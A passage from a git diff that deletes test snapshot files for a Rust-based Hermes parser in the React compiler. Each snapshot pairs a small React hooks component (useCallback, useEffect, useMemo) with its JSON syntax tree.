-              92
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          94
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        94
-      ],
-      "loc": null,
-      "range": [
-        0,
-        94
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    94
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@use-callback-simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@use-callback-simple.js.snap
deleted file mode 100644
index 19c97b9521f5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@use-callback-simple.js.snap
+++ /dev/null
@@ -1,344 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/use-callback-simple.js
----
-Input:
-function component() {
-  const [count, setCount] = useState(0);
-  const increment = useCallback(() => setCount(count + 1));
-
-  return <Foo onClick={increment}></Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "count",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        32,
-                        37
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setCount",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        39,
-                        47
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    31,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      59
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        60,
-                        61
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              63
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "increment",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    81
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useCallback",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      84,
-                      95
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "setCount",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            102,
-                            110
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "BinaryExpression",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "count",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                111,
-                                116
-                              ]
-                            },
-                            "operator": "+",
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                119,
-                                120
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              111,
-                              120
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          102,
-                          121
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        96,
-                        121
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        96,
-                        121
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    84,
-                    122
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  72,
-                  122
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              66,
-              123
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    135,
-                    138
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onClick",
-                      "loc": null,
-                      "range": [
-                        139,
-                        146
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "increment",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          148,
-                          157
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        147,
-                        158
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      139,
-                      158
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  134,
-                  159
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    161,
-                    164
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  159,
-                  165
-                ]
-              },
-              "loc": null,
-              "range": [
-                134,
-                165
-              ]
-            },
-            "loc": null,
-            "range": [
-              127,
-              166
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          168
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        168
-      ],
-      "loc": null,
-      "range": [
-        0,
-        168
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    168
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useEffect-arg-memoized.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useEffect-arg-memoized.js.snap
deleted file mode 100644
index 4c0a441935b2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useEffect-arg-memoized.js.snap
+++ /dev/null
@@ -1,439 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useEffect-arg-memoized.js
----
-Input:
-function Component(props) {
-  const dispatch = useDispatch();
-  useFreeze(dispatch);
-
-  // onUpdate should be memoized even though it doesn't
-  // flow into the return value
-  const onUpdate = () => {
-    dispatch({ kind: "update" });
-  };
-
-  useEffect(() => {
-    onUpdate();
-  }, [onUpdate]);
-
-  return <div />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "dispatch",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useDispatch",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      47,
-                      58
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    47,
-                    60
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  60
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              61
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  64,
-                  73
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "dispatch",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    82
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                64,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              64,
-              84
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onUpdate",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    182,
-                    190
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "dispatch",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              205,
-                              213
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "ObjectExpression",
-                              "properties": [
-                                {
-                                  "type": "Property",
-                                  "key": {
-                                    "type": "Identifier",
-                                    "name": "kind",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      216,
-                                      220
-                                    ]
-                                  },
-                                  "value": {
-                                    "type": "StringLiteral",
-                                    "value": "update",
-                                    "loc": null,
-                                    "range": [
-                                      222,
-                                      230
-                                    ]
-                                  },
-                                  "kind": "init",
-                                  "method": false,
-                                  "shorthand": false,
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    216,
-                                    230
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                214,
-                                232
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            205,
-                            233
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          205,
-                          234
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      199,
-                      238
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    193,
-                    238
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    193,
-                    238
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  182,
-                  238
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              176,
-              239
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useEffect",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  243,
-                  252
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "onUpdate",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              265,
-                              273
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            265,
-                            275
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          265,
-                          276
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      259,
-                      280
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    253,
-                    280
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    253,
-                    280
-                  ]
-                },
-                {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "onUpdate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        283,
-                        291
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    282,
-                    292
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                243,
-                293
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              243,
-              294
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    306,
-                    309
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  305,
-                  312
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                305,
-                312
-              ]
-            },
-            "loc": null,
-            "range": [
-              298,
-              313
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          315
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        315
-      ],
-      "loc": null,
-      "range": [
-        0,
-        315
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    315
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useEffect-nested-lambdas.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useEffect-nested-lambdas.js.snap
deleted file mode 100644
index 8cb04f8d0e93..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useEffect-nested-lambdas.js.snap
+++ /dev/null
@@ -1,807 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useEffect-nested-lambdas.js
----
-Input:
-function Component(props) {
-  const item = useMutable(props.itemId);
-  const dispatch = useDispatch();
-  useFreeze(dispatch);
-
-  const exit = useCallback(() => {
-    dispatch(createExitAction());
-  }, [dispatch]);
-
-  useEffect(() => {
-    const cleanup = GlobalEventEmitter.addListener("onInput", () => {
-      if (item.value) {
-        exit();
-      }
-    });
-    return () => cleanup.remove();
-  }, [exit, item]);
-
-  maybeMutate(item);
-
-  return <div />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      53
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          54,
-                          59
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "itemId",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          66
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        54,
-                        66
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    43,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "dispatch",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    85
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useDispatch",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      88,
-                      99
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    88,
-                    101
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  101
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              102
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  105,
-                  114
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "dispatch",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    115,
-                    123
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                105,
-                124
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              105,
-              125
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "exit",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    139
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useCallback",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      142,
-                      153
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "dispatch",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  166,
-                                  174
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "CallExpression",
-                                  "callee": {
-                                    "type": "Identifier",
-                                    "name": "createExitAction",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      175,
-                                      191
-                                    ]
-                                  },
-                                  "arguments": [],
-                                  "loc": null,
-                                  "range": [
-                                    175,
-                                    193
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                166,
-                                194
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              166,
-                              195
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          160,
-                          199
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        154,
-                        199
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        154,
-                        199
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "dispatch",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            202,
-                            210
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        201,
-                        211
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    142,
-                    212
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  135,
-                  212
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              129,
-              213
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useEffect",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  217,
-                  226
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "const",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "cleanup",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                245,
-                                252
-                              ]
-                            },
-                            "init": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "GlobalEventEmitter",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    255,
-                                    273
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "addListener",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    274,
-                                    285
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  255,
-                                  285
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "StringLiteral",
-                                  "value": "onInput",
-                                  "loc": null,
-                                  "range": [
-                                    286,
-                                    295
-                                  ]
-                                },
-                                {
-                                  "type": "ArrowFunctionExpression",
-                                  "id": null,
-                                  "params": [],
-                                  "body": {
-                                    "type": "BlockStatement",
-                                    "body": [
-                                      {
-                                        "type": "IfStatement",
-                                        "test": {
-                                          "type": "MemberExpression",
-                                          "object": {
-                                            "type": "Identifier",
-                                            "name": "item",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              315,
-                                              319
-                                            ]
-                                          },
-                                          "property": {
-                                            "type": "Identifier",
-                                            "name": "value",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              320,
-                                              325
-                                            ]
-                                          },
-                                          "computed": false,
-                                          "loc": null,
-                                          "range": [
-                                            315,
-                                            325
-                                          ]
-                                        },
-                                        "consequent": {
-                                          "type": "BlockStatement",
-                                          "body": [
-                                            {
-                                              "type": "ExpressionStatement",
-                                              "expression": {
-                                                "type": "CallExpression",
-                                                "callee": {
-                                                  "type": "Identifier",
-                                                  "name": "exit",
-                                                  "typeAnnotation": null,
-                                                  "loc": null,
-                                                  "range": [
-                                                    337,
-                                                    341
-                                                  ]
-                                                },
-                                                "arguments": [],
-                                                "loc": null,
-                                                "range": [
-                                                  337,
-                                                  343
-                                                ]
-                                              },
-                                              "directive": null,
-                                              "loc": null,
-                                              "range": [
-                                                337,
-                                                344
-                                              ]
-                                            }
-                                          ],
-                                          "loc": null,
-                                          "range": [
-                                            327,
-                                            352
-                                          ]
-                                        },
-                                        "alternate": null,
-                                        "loc": null,
-                                        "range": [
-                                          311,
-                                          352
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      303,
-                                      358
-                                    ]
-                                  },
-                                  "generator": false,
-                                  "async": false,
-                                  "loc": null,
-                                  "range": [
-                                    297,
-                                    358
-                                  ],
-                                  "expression": false,
-                                  "loc": null,
-                                  "range": [
-                                    297,
-                                    358
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                255,
-                                359
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              245,
-                              359
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          239,
-                          360
-                        ]
-                      },
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "ArrowFunctionExpression",
-                          "id": null,
-                          "params": [],
-                          "body": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "cleanup",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  378,
-                                  385
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "remove",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  386,
-                                  392
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                378,
-                                392
-                              ]
-                            },
-                            "arguments": [],
-                            "loc": null,
-                            "range": [
-                              378,
-                              394
-                            ]
-                          },
-                          "generator": true,
-                          "async": false,
-                          "loc": null,
-                          "range": [
-                            372,
-                            394
-                          ],
-                          "expression": true,
-                          "loc": null,
-                          "range": [
-                            372,
-                            394
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          365,
-                          395
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      233,
-                      399
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    227,
-                    399
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    227,
-                    399
-                  ]
-                },
-                {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "exit",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        402,
-                        406
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        408,
-                        412
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    401,
-                    413
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                217,
-                414
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              217,
-              415
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "maybeMutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  419,
-                  430
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    431,
-                    435
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                419,
-                436
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              419,
-              437
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    449,
-                    452
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  448,
-                  455
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                448,
-                455
-              ]
-            },
-            "loc": null,
-            "range": [
-              441,
-              456
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          458
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        458
-      ],
-      "loc": null,
-      "range": [
-        0,
-        458
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    458
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-if-else-multiple-return.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-if-else-multiple-return.js.snap
deleted file mode 100644
index efb30f7d9745..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-if-else-multiple-return.js.snap
+++ /dev/null
@@ -1,333 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-if-else-multiple-return.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => {
-    if (props.cond) {
-      return makeObject(props.a);
-    }
-    return makeObject(props.b);
-  });
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "IfStatement",
-                            "test": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  64,
-                                  69
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "cond",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  70,
